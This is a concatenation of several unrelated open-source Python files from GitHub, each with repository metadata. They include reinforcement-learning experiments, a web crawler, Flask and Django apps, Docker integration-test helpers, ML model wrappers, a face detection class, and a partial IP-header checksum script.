np.std(x))\n\n#%%\nif __name__ == \"__main__\":\n \"\"\"\n 探索 total_reward 和 epsilon 之间的关系\n gamma : 1\n epsilon : 0~1\n \"\"\"\n ls_agent = [agent_ref] + [get_sarsa(gamma=1, epsilon=epsilon) for epsilon in np.arange(0, 1, 0.1)]\n ls_agent_name = [\"policy_iter_ref\"] +[\"sarsa_epsilon_{}\".format(str(epsilon)) for epsilon in np.arange(0., 1.,0.1)]\n\n\n\n\n df_result_epsilon = pd.DataFrame([])\n df_result_epsilon[\"agent_name\"] = ls_agent_name\n df_result_epsilon[\"agent\"] = ls_agent\n df_result_epsilon[\"reward_list\"] = df_result_epsilon.apply(lambda x: [eval_game(env, x[\"agent\"]) for i in range(1000)],\n axis=1)\n df_result_epsilon[\"reward_mean\"] = df_result_epsilon[\"reward_list\"].apply(lambda x: np.mean(x))\n df_result_epsilon[\"reward_std\"] = df_result_epsilon[\"reward_list\"].apply(lambda x: np.std(x))","repo_name":"KangningCAI/reinforcement_learning","sub_path":"强化学习精要-代码/ch7/my_sarsa.py","file_name":"my_sarsa.py","file_ext":"py","file_size_in_byte":4320,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"22167934503","text":"from corefai.resolvers import Resolver, E2E_LSTM_Resolver\nfrom corefai.utils.configs import Config\nimport os\n\ndef test_resolver():\n distance_dim = 20\n embeds_dim = 400\n hidden_dim = 200\n\n args = Config(\n embeds_dim = embeds_dim,\n hidden_dim = hidden_dim,\n glove_name = 'glove.6B.300d.txt',\n turian_name = 'hlbl-embeddings-scaled.EMBEDDING_SIZE=50.txt',\n cache = os.path.expanduser('~/.vector_cache/'),\n distance_dim = distance_dim,\n pattern = '*conll',\n lr = 0.001,\n mu = 0.9,\n nu = 0.999,\n eps = 1e-8,\n weight_decay = 0,\n decay = 0.99,\n decay_steps = 10,\n amp = False)\n \n\n resolver = E2E_LSTM_Resolver(args)\n resolver.train(\n num_epochs=3,\n eval_interval=1,\n train_corpus = 'data/train',\n val_corpus = 'data/development',\n )\n","repo_name":"Bionity/corefai","sub_path":"test/test_resolvers.py","file_name":"test_resolvers.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"41063734504","text":"import re\nimport urllib\nimport urllib.request\nfrom collections import deque\n\n\nurl=\"http://baidu.com\"\na=urllib.request.urlopen(url).read().decode('utf-8')\nprint(a)\n\n\nqueue = deque()\nvisited = set()\n\nurl = 'http://news.dbanotes.net'\n\nqueue.append(url)\ncnt = 0\n\nwhile queue:\n url = queue.popleft()\n visited |= {url}\n\n print('已经抓取: ' + str(cnt) + ' 正在抓取 <----- ' + url)\n cnt += 1\n\n urlop = urllib.request.urlopen(url)\n if 'html' not in urlop.getheader('Content-Type'):\n continue\n\n try:\n data=urlop.read().decode('utf-8')\n except:\n continue\n\n linkre=re.compile('href=\\\"(.+?)\\\"')\n for x in linkre.findall(data):\n if 'http' in x and x not in visited:\n queue.append(x)\n print('加入队列 ---> '+x)","repo_name":"Capricious-Liu/SpiderWeibo","sub_path":"test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"29214755172","text":"from flask import Flask, render_template, request\n\napp = Flask(__name__)\n\n\ndef search4letters(phrase: str, letters: str='aeiou') -> set:\n \"\"\"Return a set of the 'letters' found in 'phrase'.\"\"\"\n return set(letters).intersection(set(phrase))\n\n\n@app.route('/search4', methods=['POST'])\ndef do_search():\n phrase = request.form['phrase']\n letters = request.form['letters']\n title = 'Here are your results'\n results = str(search4letters(phrase, letters))\n return render_template('results.html',\n the_phrase=phrase,\n the_letters=letters,\n the_title=title,\n the_results=results)\n\n\n@app.route('/')\n@app.route('/entry')\ndef entry_page():\n return render_template('entry.html',\n the_title='Welcome to the search4letters web')\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n","repo_name":"EUmbr/Py","sub_path":"Books/PyBook/web_app/hello_flask.py","file_name":"hello_flask.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"25325004498","text":"\"\"\"Settings Base.\"\"\"\nimport logging\nimport os\nfrom pathlib import Path\nfrom typing import Any, Type\n\n\nclass Var: # pylint: disable=too-few-public-methods\n \"\"\"Variable settings.\"\"\"\n\n @staticmethod\n def from_value(val: Any): # type: ignore\n \"\"\"Ensure the return is an instance of Var.\"\"\"\n return val if isinstance(val, Var) else Var(type(val))\n\n def __init__(\n self, var_type: Type, hidden: bool = False, required: bool = False\n ) -> None:\n \"\"\"Init class.\"\"\"\n self.v_type = var_type\n self.hide = hidden\n self.required = required\n\n\nclass SettingsBase:\n \"\"\"Retrieve Settings from environment variables.\n\n Settings the appropriate environment variable, eg. to override FOOBAR,\n `export APP_FOOBAR=\"whatever\"`.\n This is useful in production for secrets you do not wish to save in code\n and also plays nicely with docker(-compose). Settings will attempt to\n convert environment variables to match the type of the value here.\n \"\"\"\n\n _vars: dict[str, Var] = {}\n _env_prefix = \"\"\n\n def load(self, environment_prefix: str = \"\") -> None:\n \"\"\"Initialize.\"\"\"\n self._env_prefix = environment_prefix\n logger = logging.getLogger(__name__)\n attrs = [a for a in dir(self) if not a.startswith(\"_\") and a.upper() == a]\n for name in attrs:\n curv = getattr(self, name)\n newv: Any = os.getenv(environment_prefix + name.upper())\n if isinstance(curv, Var):\n self._vars[name] = curv\n info = self._vars.get(name) or Var(type(curv))\n if not newv:\n if info.required:\n raise ValueError(f\"Required value for {name} not provided\")\n continue\n if newv.startswith('\"') and newv.endswith('\"'):\n newv = newv.strip('\"')\n logger.debug(\"ENV %s = %s\", name, \"***\" if info.hide else newv)\n\n if issubclass(info.v_type, bool):\n newv = newv.upper() in (\"1\", \"TRUE\")\n elif issubclass(info.v_type, int):\n newv = int(newv)\n elif issubclass(info.v_type, Path):\n newv = Path(newv)\n elif issubclass(info.v_type, bytes):\n newv = newv.encode()\n\n if name.endswith(\"_URI\") and not newv.endswith(\"/\"):\n newv += \"/\"\n setattr(self, name, newv)\n\n def to_dict(self, as_string: bool = False) -> dict[str, Any]:\n \"\"\"Get all variables.\"\"\"\n res = {}\n for name in vars(self):\n if name.startswith(\"_\") or name.upper() != name:\n continue\n curv = getattr(self, name)\n info = self._vars.get(name) or Var(type(curv))\n if info.hide:\n continue\n res[self._env_prefix + name] = str(curv) if as_string else curv\n return res\n","repo_name":"kellerza/aiohttp_msal","sub_path":"aiohttp_msal/settings_base.py","file_name":"settings_base.py","file_ext":"py","file_size_in_byte":2892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"23937494430","text":"from django.http import HttpResponseRedirect\nfrom django.shortcuts import get_object_or_404, render\nfrom .models import Recette, Categorie, Membre, Commentaire\nfrom .forms import ConnexionForm, InscriptionForm, CommentaireForm\nfrom django.contrib.auth.hashers import make_password, check_password\nfrom django.db.models import Avg\nfrom math import floor\n\n\n\ndef index(request):\n membr = None\n membr_id = request.session.get('membr_id')\n if membr_id:\n membr = Membre.objects.get(pk = membr_id)\n \n list_recette = Recette.objects.order_by('image')\n categories = Categorie.objects.all()\n context = {\n 'list_recette':list_recette,\n 'categories':categories,\n 'membr':membr \n }\n return render(request, 'blog/index.html', context)\n\ndef recette(request, recette_id):\n recette = get_object_or_404(Recette, pk= recette_id)\n commentaires = Commentaire.objects.filter(crecette_id = recette_id)\n categories = Categorie.objects.all()\n if request.method == 'POST':\n form = CommentaireForm(request.POST)\n if form.is_valid():\n autor = form.cleaned_data['autor']\n content = form.cleaned_data['content']\n note = form.cleaned_data['note']\n crecette = Recette.objects.get(pk=recette_id)\n comment = Commentaire(autor=autor, content = content, note = note, crecette = crecette)\n comment.save()\n return HttpResponseRedirect(f'/recette/{recette_id}')\n else:\n form = CommentaireForm()\n \n note_int = floor(recette.comments.all().aggregate(Avg('note'))['note__avg'])\n note = [ i<=note_int for i in range(1,6)]\n context = {\n 'form':form,\n 'commentaires':commentaires,\n 'recette':recette,\n 'categories':categories,\n 'note' : note\n }\n \n return render(request, 'blog/recette.html', context)\n\ndef inscription(request):\n if request.method == 'POST':\n form = InscriptionForm(request.POST)\n if form.is_valid():\n name = form.cleaned_data['name']\n pseudo = form.cleaned_data['pseudo']\n mdp = form.cleaned_data['mdp']\n mdp_encoded = make_password(mdp)\n print(mdp_encoded)\n \n email = form.cleaned_data['mail']\n membr = Membre(name = name, pseudo = pseudo, mdp = mdp_encoded, email=email)\n membr.save()\n request.session['membr_id'] = membr.id\n return HttpResponseRedirect('/')\n else:\n form = InscriptionForm()\n \n return render(request, 'blog/inscription.html', {'form':form})\n\ndef categorie(request, idCategorie):\n list_recette = Recette.objects.filter(categori_id = idCategorie)\n categories = Categorie.objects.all()\n context = {\n 'idCategorie':idCategorie,\n 'list_recette':list_recette,\n 'categories':categories\n }\n return render(request, 'blog/categorie.html', context)\n\ndef deconnexion(request):\n del request.session['membr_id']\n return HttpResponseRedirect('/')\n\ndef connexion(request):\n if request.method == 'POST':\n form = ConnexionForm(request.POST)\n if form.is_valid():\n pseudo = form.cleaned_data['pseudo']\n mdp = form.cleaned_data['mdp']\n try:\n membr = get_object_or_404(Membre, pseudo = pseudo)\n if check_password(mdp, membr.mdp):\n request.session['membr_id'] = membr.id\n return HttpResponseRedirect('/')\n else:\n raise\n except:\n form.errors['__all__'] = form.error_class([\"Votre pseudo ou votre mot de passe est incorrect\"]) \n else:\n form = ConnexionForm\n context = {'form':form}\n \n return render(request, 'blog/connexion.html', context)\n \n \n \n# Create your views here.\n","repo_name":"leonardarma/mon_blog_dynamique","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"33713379538","text":"class Solution:\n def searchRange(self, nums: List[int], target: int) -> List[int]:\n left, right = 0, len(nums) - 1\n mid = self.binary(left, right, nums, target)\n\n if mid == -1:\n return [-1, -1]\n\n left, right = mid, mid\n while 0 < left and nums[left] == target:\n left -= 1\n if nums[left] is not target:\n left += 1\n\n while right < len(nums) - 1 and nums[right] == target:\n right += 1\n if nums[right] is not target:\n right -= 1\n \n return [left, right]\n \n def binary(self, left: int, right: int, nums: List[int], target: int) -> int:\n while left < right:\n mid = int((left + right) / 2)\n if nums[mid] == target:\n return mid\n elif nums[mid] < target:\n left = mid + 1\n else:\n right = mid\n \n if left == right and nums[left] == target:\n return left\n\n return -1","repo_name":"rmk1075/APS","sub_path":"leetcode/34/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"11339102786","text":"import os\nimport json\nfrom datetime import datetime\n\nimport crud\nimport model\nimport server\n\nos.system(\"dropdb tastings\")\nos.system('createdb tastings')\n\nmodel.connect_to_db(server.app)\nmodel.db.create_all()\n\nuser_data = [\n {\"username\": \"user1\",\n \"email\": \"user1@email.com\",\n \"fname\": \"Adele\",\n \"lname\":\"Applebottom\"},\n {\"username\": \"user2\",\n \"email\": \"user2@email.com\",\n \"fname\": \"Benny\",\n \"lname\":\"Beeboop\"},\n {\"username\": \"user3\",\n \"email\": \"user3@email.com\",\n \"fname\": \"Chester\",\n \"lname\":\"Chancey\"}]\n\nusers_in_db = []\n\nfor user in user_data:\n username = user[\"username\"]\n email = user[\"email\"]\n fname = user[\"fname\"]\n lname = user[\"lname\"]\n\n created_user = crud.create_user(username, email, fname, lname)\n users_in_db.append(created_user)\n\nmodel.db.session.add_all(users_in_db)\nmodel.db.session.commit()","repo_name":"margaretreed/melon-tasting-reservation-app","sub_path":"seed-database.py","file_name":"seed-database.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"32097023092","text":"import json\nimport logging\nimport subprocess\nimport sys\nimport time\nimport os\nimport re\n\nfrom .SingleNodeDockerCluster import SingleNodeDockerCluster\nfrom .utils import retry_check\n\n\nclass DockerTestCluster(SingleNodeDockerCluster):\n def __init__(self, image_store):\n super(DockerTestCluster, self).__init__(image_store)\n self.segfault = False\n\n @staticmethod\n def get_stdout_encoding():\n # Use UTF-8 both when sys.stdout present but set to None (explicitly piped output\n # and also some CI such as GitHub Actions).\n encoding = getattr(sys.stdout, \"encoding\", None)\n if encoding is None:\n encoding = \"utf8\"\n return encoding\n\n def get_app_log(self, container_name):\n try:\n container = self.client.containers.get(container_name)\n except Exception:\n return 'not started', None\n\n if b'Segmentation fault' in container.logs():\n logging.warning('Container segfaulted: %s', container.name)\n self.segfault = True\n\n log_file_path = self.containers[container_name].get_log_file_path()\n if not log_file_path:\n return container.status, container.logs()\n\n try:\n if container.status == 'running':\n app_log_status, app_log = container.exec_run('/bin/sh -c \\'cat ' + log_file_path + '\\'')\n if app_log_status == 0:\n return container.status, app_log\n elif container.status == 'exited':\n log_file_name = container_name + \".log\"\n code = subprocess.run([\"docker\", \"cp\", container_name + \":\" + log_file_path, log_file_name]).returncode\n if code == 0:\n output = open(log_file_name, 'rb').read()\n os.remove(log_file_name)\n return container.status, output\n except Exception:\n return container.status, None\n\n return container.status, None\n\n def __wait_for_app_logs_impl(self, container_name, log_entry, timeout_seconds, count, use_regex):\n wait_start_time = time.perf_counter()\n while (time.perf_counter() - wait_start_time) < timeout_seconds:\n logging.info('Waiting for app-logs `%s` in container `%s`', log_entry, container_name)\n status, logs = self.get_app_log(container_name)\n if logs is not None:\n if not use_regex and logs.decode(\"utf-8\").count(log_entry) >= count:\n return True\n elif use_regex and len(re.findall(log_entry, logs.decode(\"utf-8\"))) >= count:\n return True\n elif status == 'exited':\n return False\n time.sleep(1)\n return False\n\n def wait_for_app_logs_regex(self, container_name, log_entry, timeout_seconds, count=1):\n return self.__wait_for_app_logs_impl(container_name, log_entry, timeout_seconds, count, True)\n\n def wait_for_app_logs(self, container_name, log_entry, timeout_seconds, count=1):\n return self.__wait_for_app_logs_impl(container_name, log_entry, timeout_seconds, count, False)\n\n def wait_for_startup_log(self, container_name, timeout_seconds):\n return self.wait_for_app_logs_regex(container_name, self.containers[container_name].get_startup_finished_log_entry(), timeout_seconds, 1)\n\n def log_app_output(self):\n for container_name in self.containers:\n _, logs = self.get_app_log(container_name)\n if logs is not None:\n logging.info(\"Logs of container '%s':\", container_name)\n for line in logs.decode(\"utf-8\").splitlines():\n logging.info(line)\n\n def check_http_proxy_access(self, container_name, url):\n (code, output) = self.client.containers.get(container_name).exec_run([\"cat\", \"/var/log/squid/access.log\"])\n output = output.decode(self.get_stdout_encoding())\n return code == 0 and url in output \\\n and ((output.count(\"TCP_DENIED\") != 0\n and output.count(\"TCP_MISS\") == output.count(\"TCP_DENIED\"))\n or output.count(\"TCP_DENIED\") == 0 and \"TCP_MISS\" in output)\n\n @retry_check()\n def check_s3_server_object_data(self, container_name, test_data):\n (code, output) = self.client.containers.get(container_name).exec_run([\"find\", \"/tmp/\", \"-type\", \"d\", \"-name\", \"s3mock*\"])\n if code != 0:\n return False\n s3_mock_dir = output.decode(self.get_stdout_encoding()).strip()\n (code, output) = self.client.containers.get(container_name).exec_run([\"cat\", s3_mock_dir + \"/test_bucket/test_object_key/fileData\"])\n file_data = output.decode(self.get_stdout_encoding())\n return code == 0 and file_data == test_data\n\n @retry_check()\n def check_s3_server_object_metadata(self, container_name, content_type=\"application/octet-stream\", metadata=dict()):\n (code, output) = self.client.containers.get(container_name).exec_run([\"find\", \"/tmp/\", \"-type\", \"d\", \"-name\", \"s3mock*\"])\n if code != 0:\n return False\n s3_mock_dir = output.decode(self.get_stdout_encoding()).strip()\n (code, output) = self.client.containers.get(container_name).exec_run([\"cat\", s3_mock_dir + \"/test_bucket/test_object_key/metadata\"])\n server_metadata = json.loads(output.decode(self.get_stdout_encoding()))\n return code == 0 and server_metadata[\"contentType\"] == content_type and metadata == server_metadata[\"userMetadata\"]\n\n @retry_check()\n def check_azure_storage_server_data(self, container_name, test_data):\n (code, output) = self.client.containers.get(container_name).exec_run([\"find\", \"/data/__blobstorage__\", \"-type\", \"f\"])\n if code != 0:\n return False\n data_file = output.decode(self.get_stdout_encoding()).strip()\n (code, output) = self.client.containers.get(container_name).exec_run([\"cat\", data_file])\n file_data = output.decode(self.get_stdout_encoding())\n return code == 0 and test_data in file_data\n\n @retry_check()\n def is_s3_bucket_empty(self, container_name):\n (code, output) = self.client.containers.get(container_name).exec_run([\"find\", \"/tmp/\", \"-type\", \"d\", \"-name\", \"s3mock*\"])\n if code != 0:\n return False\n s3_mock_dir = output.decode(self.get_stdout_encoding()).strip()\n (code, output) = self.client.containers.get(container_name).exec_run([\"ls\", s3_mock_dir + \"/test_bucket/\"])\n ls_result = output.decode(self.get_stdout_encoding())\n return code == 0 and not ls_result\n\n def query_postgres_server(self, postgresql_container_name, query, number_of_rows):\n (code, output) = self.client.containers.get(postgresql_container_name).exec_run([\"psql\", \"-U\", \"postgres\", \"-c\", query])\n output = output.decode(self.get_stdout_encoding())\n return code == 0 and str(number_of_rows) + \" rows\" in output\n\n def check_query_results(self, postgresql_container_name, query, number_of_rows, timeout_seconds):\n start_time = time.perf_counter()\n while (time.perf_counter() - start_time) < timeout_seconds:\n if self.query_postgres_server(postgresql_container_name, query, number_of_rows):\n return True\n time.sleep(2)\n return False\n\n def segfault_happened(self):\n return self.segfault\n\n def wait_for_kafka_consumer_to_be_registered(self, kafka_container_name):\n return self.wait_for_app_logs(kafka_container_name, \"Assignment received from leader for group docker_test_group\", 60)\n","repo_name":"aminadinari19/nifi-minifi-cpp","sub_path":"docker/test/integration/minifi/core/DockerTestCluster.py","file_name":"DockerTestCluster.py","file_ext":"py","file_size_in_byte":7587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"21288565345","text":"# -*- coding: utf-8 -*-\n#\n# import matplotlib\n#\n# matplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport collections\nimport numpy as np\nfrom multiprocessing import cpu_count\nfrom config import PROJECT_PATH\nfrom utils.basic_utils import save_object\n\nimport lightgbm as lgb\nfrom sklearn.linear_model import LogisticRegression\nfrom feature_engineering import FeatureExtractor, NormalEncoder\nfrom sklearn.metrics import accuracy_score, recall_score, roc_auc_score, \\\n roc_curve, precision_score\n\n\nclass Model(object):\n def __init__(self):\n self.model_type = None\n self.MODEL = None\n self.feature_extractor = FeatureExtractor()\n\n def train(self, **kwargs):\n raise NotImplementedError(\"train func not implemented!\")\n\n def save_model(self, model_path):\n save_object(self.MODEL, model_path)\n\n\nclass BinaryModel(Model):\n def __init__(self):\n Model.__init__(self)\n\n def train(self, x_train, y_train, is_warm_start=False):\n title = \"%-20s\\t%-20s\\t%-20s\\t%-20s\" % (\n \"num\", \"dimension\", \"pos\", \"neg\")\n print(title)\n fmt = \"%-20d\\t%-20d\\t%-20d\\t%-20d\"\n pos_neg_stat = collections.Counter(y_train)\n sample_num, dimension, pos, neg = \\\n x_train.shape[0], x_train.shape[1], pos_neg_stat[1], pos_neg_stat[\n -1]\n msg = fmt % (sample_num, dimension, pos, neg)\n print(msg)\n if is_warm_start:\n self.MODEL.partial_fit(x_train, y_train, classes=np.array([1, -1]))\n else:\n self.MODEL.fit(x_train, y_train)\n return sample_num, dimension, pos, neg\n\n def test(self, x_test, y_test, threshold=0.5, is_draw=False):\n print(\"-\" * 100 + \"TEST\")\n title = \"%-20s\\t%-20s\\t%-20s\\t%-20s\" % (\n \"num\", \"dimension\", \"pos\", \"neg\")\n print(title)\n fmt = \"%-20d\\t%-20d\\t%-20d\\t%-20d\"\n pos_neg_stat = collections.Counter(y_test)\n sample_num, dimension, pos, neg = x_test.shape[0], x_test.shape[1], \\\n pos_neg_stat[1], pos_neg_stat[-1]\n msg = fmt % (sample_num, dimension, pos, neg)\n print(msg)\n\n y_predict = self.MODEL.predict_proba(x_test)\n y_predict = self._change_prob_threshold(y_predict, threshold)\n\n title = \"%-20s\\t%-20s\\t%-20s\\t%-20s\" % (\"accuracy\", \"precision\", \"recall\", \"auc\")\n print(title)\n fmt = \"%-20.4f\\t%-20.4f\\t%-20.4f\\t%-20.4f\"\n y_prob = [ele[1] for ele in self.MODEL.predict_proba(x_test)]\n\n accuracy, precision, recall, auc = \\\n accuracy_score(y_test, y_predict), \\\n precision_score(y_test, y_predict), \\\n recall_score(y_test, y_predict, average='binary'), \\\n roc_auc_score(y_test, y_prob)\n msg = fmt % (100 * accuracy,\n 100 * precision,\n 100 * recall,\n auc)\n print(msg)\n\n if is_draw:\n fpr, tpr, thresholds = roc_curve(y_test, y_prob)\n # roc_auc = auc(fpr, tpr)\n plt.plot(fpr, tpr, lw=1, label='ROC (area = %0.2f)' % auc)\n plt.plot([0, 1], [0, 1], '--', color=(0.6, 0.6, 0.6),\n label='Lucky Line')\n plt.xlim([-0.0, 1.0])\n plt.ylim([-0.0, 1.0])\n plt.xlabel('False Positive Rate')\n plt.ylabel('True Positive Rate')\n plt.title('Order Accept Time Prediction')\n plt.legend(loc=\"lower right\")\n plt.savefig(PROJECT_PATH + '/analyze_c/resource/AUC.png')\n plt.cla()\n\n return sample_num, dimension, pos, neg, \\\n accuracy, precision, recall, auc\n\n def predict(self, x_std):\n prob = self.MODEL.predict_proba(x_std)\n return float(prob[0][1])\n\n def test_prob_threshold(self, x_test, y_test, prob_threshold_file):\n f_out = open(prob_threshold_file, \"wb\")\n print(\"-\" * 100 + \"PROB CHECK\")\n title = \"%6s%10s%10s%12s%12s%11s%8s%10s\" % (\n \"prob\", \"neg_num\", \"pos_num\", \"pk_ratio\", \\\n \"accuracy\", \"precison\", \"recall\", \"auc\")\n print(title)\n f_out.write(title + \"\\n\")\n\n t = 0.0\n for i in range(19):\n t += 0.05\n y_predict = self.MODEL.predict_proba(x_test)\n y_predict = self._change_prob_threshold(y_predict, t)\n predict_result = collections.Counter(y_predict)\n y_prob = [ele[1] for ele in self.MODEL.predict_proba(x_test)]\n\n line = \"%6.2f%10d%10d%10.2f%%%10.2f%%%10.2f%%%10.2f%%%10.4f\" % (\n t,\n predict_result[-1], # predict_result是计数器,-1类似字典的key -1 是没有违章的\n predict_result[1],\n 100 * float(predict_result[1]) / (\n predict_result[-1] + predict_result[1]),\n 100 * accuracy_score(y_test, y_predict),\n 100 * precision_score(y_test, y_predict),\n 100 * recall_score(y_test, y_predict, average='binary'),\n roc_auc_score(y_test, y_prob)\n )\n print(line)\n f_out.write(line + \"\\n\")\n f_out.close()\n\n def _change_prob_threshold(self, predict, threshold):\n predict_threshold = []\n for item in predict:\n if item[1] >= threshold:\n predict_threshold.append(1)\n else:\n predict_threshold.append(-1)\n return predict_threshold\n\n\nclass BinaryLRModel(BinaryModel):\n def __init__(self):\n Model.__init__(self)\n self.MODEL = LogisticRegression(\n C=1,\n penalty='l2',\n solver='sag',\n tol=1e-4,\n n_jobs=cpu_count() - 1,\n verbose=1,\n max_iter=10000,\n class_weight={1: 0.84, -1: 0.16}\n )\n\n def get_fea_importance(self, dim_analysis_path, fea_preprocessor_path):\n self.feature_extractor.load_fea_preprocessor(fea_preprocessor_path)\n fea_importance_path = dim_analysis_path + \".coef\"\n coef_file = open(fea_importance_path, 'w')\n for fea, coef in zip(self.feature_extractor.fea_transformer[\n \"dict_vector\"].feature_names_,\n self.MODEL.coef_.ravel()):\n coef_file.write(\"%s\\t%s\\n\" % (fea, coef))\n coef_file.close()\n\n\nclass LgbRegressionModel(Model):\n def __init__(self):\n Model.__init__(self)\n self.model_type = 'lgb'\n self.MODEL = lgb.LGBMRegressor(\n objective='mae',\n n_estimators=80,\n n_jobs=5\n )\n\n def train(self, x_train, y_train, is_warm_start=False):\n is_warm_start = False # lgb 暂时没做\n title = \"%-20s\\t%-20s\\t%-20s\\t%-20s\" % (\"num\", \"dimension\", \"pos\", \"neg\")\n print(title)\n fmt = \"%-20d\\t%-20d\\t%-20d\\t%-20d\"\n pos_neg_stat = collections.Counter(y_train)\n sample_num, dimension, pos, neg = x_train.shape[0], x_train.shape[1], pos_neg_stat[1], pos_neg_stat[-1]\n msg = fmt % (sample_num, dimension, pos, neg)\n print(msg)\n\n if is_warm_start:\n # https://blog.csdn.net/suzyu12345/article/details/81461667\n pass\n else:\n y_train = NormalEncoder.skewness(y_train)\n self.MODEL.fit(x_train, y_train)\n return sample_num, dimension, pos, neg\n\n def test(self, x_test, y_test):\n print(\"\\n\" + \"-\" * 100 + \"TEST\")\n title = \"%-20s\\t%-20s\\t%-20s\\t%-20s\" % (\"num\", \"dimension\", \"pos\", \"neg\")\n print(title)\n fmt = \"%-20d\\t%-20d\\t%-20d\\t%-20d\"\n pos_neg_stat = collections.Counter(y_test)\n sample_num, dimension, pos, neg = x_test.shape[0], x_test.shape[1], pos_neg_stat[1], pos_neg_stat[-1]\n msg = fmt % (sample_num, dimension, pos, neg)\n print(msg)\n\n y_predict = self.MODEL.predict(x_test)\n y_predict = NormalEncoder.skewness_recover(y_predict)\n return y_predict\n","repo_name":"KGBUSH/ETA2","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":7969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"11159284188","text":"import logging as log\n\nimport cv2\nfrom base_model import BaseModel\n\n\nclass FaceDetectionModel(BaseModel):\n \"\"\"\n The FaceDetectionModel class used to load the model, apply frame transformation, predict and extract output\n \"\"\"\n\n def __init__(self, model_name, device='CPU', probs_threshold=0.5, extensions=None):\n \"\"\"\n Face detection model initialization\n :param model_name: model path\n :param device: device to use\n :param probs_threshold: probability threshold\n :param extensions: specified extensions\n \"\"\"\n BaseModel.__init__(self, model_name, device, extensions)\n self.processed_image = None\n self.probs_threshold = probs_threshold\n self.model_name = \"Face Detection Model\"\n\n def predict_face_detection(self, image, visualize=True):\n \"\"\"\n To perform face detection\n :param image: input frame\n :param visualize: flag if visualization is required\n :return: bounding box list, detected face image\n \"\"\"\n try:\n # preprocessing step\n # Name: input, shape: [1x3x384x672], format: BGR\n self.processed_image = self.preprocess_input(image)\n # prepare network input\n self.set_net_input()\n # call predict\n self.predict()\n # wait for the results\n if self.wait() == 0:\n # get the result\n network_result = self.infer_request.outputs[self.output_blob]\n detected_face_bounding = self.preprocess_output(network_result, image)\n # only one detection is considered\n box = detected_face_bounding[0]\n detected_face_image = image[box[1]:box[3], box[0]:box[2]]\n if visualize:\n cv2.rectangle(image, (box[0], box[1]), (box[2], box[3]),\n (0, 55, 255),\n 1)\n return detected_face_image, box\n except Exception as e:\n log.error(\"The face detection prediction request cannot be completed!\")\n log.error(\"Exception message during face detection prediction : {}\".format(e))\n\n def set_net_input(self):\n self.net_input = {self.input_blob: self.processed_image}\n\n def preprocess_output(self, outputs, image):\n \"\"\"\n To preprocess the output from face detection model.\n prediction output format: [1, 1, N, 7] - [image_id, label, conf, x_min, y_min, x_max, y_max]\n :param outputs: model output\n :param image: input frame\n :return: bounding box list\n \"\"\"\n detected_face_bounding = []\n # Grab the shape of the input\n width = image.shape[1]\n height = image.shape[0]\n for obj in range(len(outputs[0][0])):\n output = outputs[0][0][obj]\n if output[2] >= self.probs_threshold:\n xmin = int(output[3] * width)\n ymin = int(output[4] * height)\n xmax = int(output[5] * width)\n ymax = int(output[6] * height)\n detected_face_bounding.append([xmin, ymin, xmax, ymax])\n return detected_face_bounding\n","repo_name":"VimalsCode/ComputerPointerController","sub_path":"src/face_detection.py","file_name":"face_detection.py","file_ext":"py","file_size_in_byte":3216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"5310917692","text":"import binascii\nimport socket\nimport sys\n\n# Method for encoding (at the client side):\ndef calculate_checksum(list_str):\n header_list = list_str.split(\" \")\n header_list_hex = [int(i, 16) for i in header_list]\n total = hex(sum(header_list_hex))\n total_list = list(total)[2:]\n\n if len(total_list) % 4 != 0:\n result = \"\".join(\n list(hex(int(total_list[0], 16) + int(\"\".join(total_list[1:]), 16)))[2:]\n )\n else:\n result = \"\".join(total_list)\n\n return \"\".join(list(hex(int(\"FFFF\", 16) - int(result, 16))))[2:]\n\n\n######### MAIN ###########\nHEADER_SIZE = 20\nSOURCEIP = socket.gethostbyname(socket.gethostname())\nPORT = 1234\n\n# get user inputs\nmsg = sys.argv[4]\nDESTINATIONIP = sys.argv[2]\n\n# get data for variable fields in IP Header:\n# encode msg\nmsg = binascii.hexlify(bytes(msg, \"utf-8\"))\n\n# check for padding (assuming from Piazza that professor does not want it)\n# if ((len(msg) // 2) + HEADER_SIZE) % 8 != 0:\n# IPHEADER_SIZE = (len(msg) // 2) + HEADER_SIZE\n# num_of_zeros = 8 - (IPHEADER_SIZE % 8)\n# added_zeros = num_of_zeros * \"0\"\n# msg_str = (msg.decode(\"utf-8\")).replace(\" \", \"\") + added_zeros\n# else:\n# msg_str = (msg.decode(\"utf-8\")).replace(\" \", \"\")\n\n# calculate total length of IP header, payload + 20 for header, convert to hex\ntotal_length_hex = \"{:04X}\".format((len(msg) // 2) + HEADER_SIZE)\n\n# convert ip addresses to hex\nDESTINATIONIP_HEX = binascii.hexlify(socket.inet_aton(DESTINATIONIP), b\" \", -2)\nSOURCEIP_HEX = binascii.hexlify(socket.inet_aton(SOURCEIP), b\" \", -2)\n\n# combine to make the header (initial before encode):\nheader_str = (\n \"4500 \"\n + total_length_hex\n + \" 1c46 4000 4006 0000 \"\n + SOURCEIP_HEX.decode(\"utf-8\")\n + \" \"\n + 